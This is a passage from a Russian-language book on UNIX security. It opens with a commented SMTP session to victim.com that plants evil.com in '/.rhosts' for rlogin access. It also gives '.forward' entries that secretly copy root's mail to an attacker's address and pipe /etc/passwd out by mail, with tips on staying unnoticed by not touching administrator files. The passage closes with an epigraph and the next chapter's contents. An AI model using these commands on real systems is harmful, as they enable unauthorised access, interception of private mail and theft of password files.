· # Соединяется с узлом - жертвой [109] по протоколу SMTP с 25 портом

· telnet victim.com 25

·

· #Указываем в качестве адреса получателя сообщения имя файла “/.rhosts”

· rcpt to: /.rhosts

·

· #Указываем адрес отправителя сообщения

· mail from: [email protected]

·

· #Начинам ввод текста сообщения

· data

·

· #Вводим любой текст (он будет проигнорирован)

· Hello!

·

· #Точка завершает ввод сообщения

·.

·

· #Новое сообщение

· #Указываем в качестве адреса получателя имя файл “/.rhosts”

· rcpt to: /.rhosts

·

· #Указываем адрес отправителя сообщения

· mail from: [email protected]

·

· #Начинам ввод текста сообщения

· data

·

· #Вводим имя собственного хоста или любого другого хоста, к которому есть доступ

· evil.com

·

· #Точка завершает ввод сообщения

·.

·

· #Завершение транзакции и выход

· quit

С этого момента взлом можно считать завершенным. Остается подключится к удаленному узлу и делать на нем все, что заблагорассудиться. Все, за исключением, невозможности посредством протокола rlogin войти под статусом супер-пользовтаеля.

Однако подобные атаки слишком заметны и вряд ли останутся безнаказанными. В UNIX, как и в большинстве других сетевых операционных систем, все потенциально опасные действия (будь то копирование файла паролей или создание нового пользователя) протоколируется, а замести за собой следы не всегда возможно - изменения в файлах протокола могут незамедлительно отсылаться на почтовый ящик администратора, или даже на пейджер [110]!

Тем более, “/.rhosts” это не тот файл, в который никто и никогда не заглядывает. В том же случае с Митником - модификация “/.rhosts” не осталось незамеченной. Гораздо халатнее большинство администраторов относятся к вопросам безопасности личной почты. А ведь злоумышленнику ничего не стоит так изменить файл “/.forward”, перехватывая чужую личную почту, в том числе и root-а. Конечно, наивно ожидать увидеть в почте пароли, но, тем не менее, полученная информация в любом случае значительно облегчит дальнейшее проникновение в систему, и даст простор возможностей для социальной инженерии. Подробнее об конфигурировании SendMail можно прочесть в прилагаемом к нему руководстве и в главе «Почтовый сервер изнутри».

Ниже приведен пример записи, которую необходимо добавить в файл “/.forward” для перехвата почты администратора (при условии, что его почтовый адрес выглядит как [email protected]). Теперь все письма, поступающие администратору системы, будут дублироваться на адрес [email protected]

· \root, [email protected], [email protected]

Точно такую операцию можно проделать и со всеми остальными пользователями системы. Для этого достаточно изменить файлы “.forward”, находящиеся в их домашних каталогах, а, поэтому, обычно не контролируемые администратором. Опытные пользователи могут самостоятельно редактировать свои конфигурационные файлы. Поэтому, за всеми уследить невозможно, - откуда администратору знать, кто внес эти изменения - легальный пользователь или злоумышленник? Конечно, в приведенном выше примере все довольно прозрачно, но если не трогать файлы администратора, велики шансы того, что проникновение в систему станет замеченным не скоро, если вообще будет замечено.

Кстати, если есть доступ к файлу “.forward”, то, добавив в него строку типа “|/bin/mail/ [email protected] «/etc/passwd”, можно попробовать получить требуемый файл с доставкой на дом. (В приведенном примере содержимое файла /etc/passwd будет оправлено по адресу [email protected]). Как нетрудно догадаться, здесь замешен конвейер и перенаправления ввода-вывода, подробно описанные в главе «Устройство конвейера и перенаправление ввода-вывода».

Конечно, главное условие успешности такой атаки - наличие дыр в каком-либо приложении, выполняющемся на удаленной машине. Сегодня все очевидные дыры уже залатаны, и слишком уж наивных ляпов от разработчиков ожидать не приходится. Тем не менее, те или иные ошибки выявляются чуть ли не ежедневно. Чтобы удостоверится в этом, достаточно заглянуть на любой сайт, посвященный информационной безопасности (например, www.rootshell.com). Разумеется, открытые дыры существует недолго, - на сайте разработчиков периодически появляются исправления, а новые версии выходят уже с исправленными ошибками.

Вся надежда злоумышленника на халатность администратора, не позаботившегося установить свежие заплатки. Но на удивление таковых оказывается много, если не большинство. И огромное число успешных взломов - лишнее тому подтверждение. Шансы взломщика необыкновенно возрастают, если он обладает квалификацией достаточной для самостоятельного поиска дыр в системе. Подробнее об этом рассказано в главе «Технология срыва стека».

Итак, архитектура ядра UNIX позволяет некорректно работающим приложениям предоставить злоумышленнику привилегированный доступ в систему, поэтому потенциально любая UNIX - уязвима. Учитывая сложность современных программ и качество тестирования программного кода ошибки просто неизбежны. Для сравнения, программное обеспечение, используемое в космической технике, содержит менее одной ошибки на 10 тысяч строк кода. Типовая конфигурация сервера, работающего под управлением UNIX, может состоять более чем из миллиона строк исходного кода. Таким образом, в сложных приложениях, ошибки всегда гарантировано есть. Не факт, что хотя бы одна из них может привести к получению несанкционированного доступа, но очень, очень часто так именно и происходит.

А если еще вспомнить недостаточно качественную реализацию базовых протоколов TCP/IP (в той же 4 BSD UNIX), можно вообще удивиться, как UNIX после всего этого ухитряется работать. Спектр возможных целей атаки очень широк и не может быть полностью рассмотрен в рамках одной книги.

– Гуси спасли Рим, но никто не задумывается о их дальнейшей судьбе. А ведь гуси попали в суп. В спасенном же Риме. Так что на их судьбе факт спасения Рима никак не отразился. Представляете, что говорили их потомки: наш дедушка спас Рим, а потом его съели.".

Кир Булычев “Тринадцать лет пути”

Безопасность UNIX

O В этой главе:

O Механизм разделения привилегий

O Реализация и защита процессов

O Режимы выполнения процессов

O Механизмы вызова системных функций

O Средства межпроцессорного взаимодействия

O Пакет IPC (Interposes Communication)

O Ошибки реализации механизма разделяемой памяти

O Механизмы отладки приложений

O Идентификаторы процессов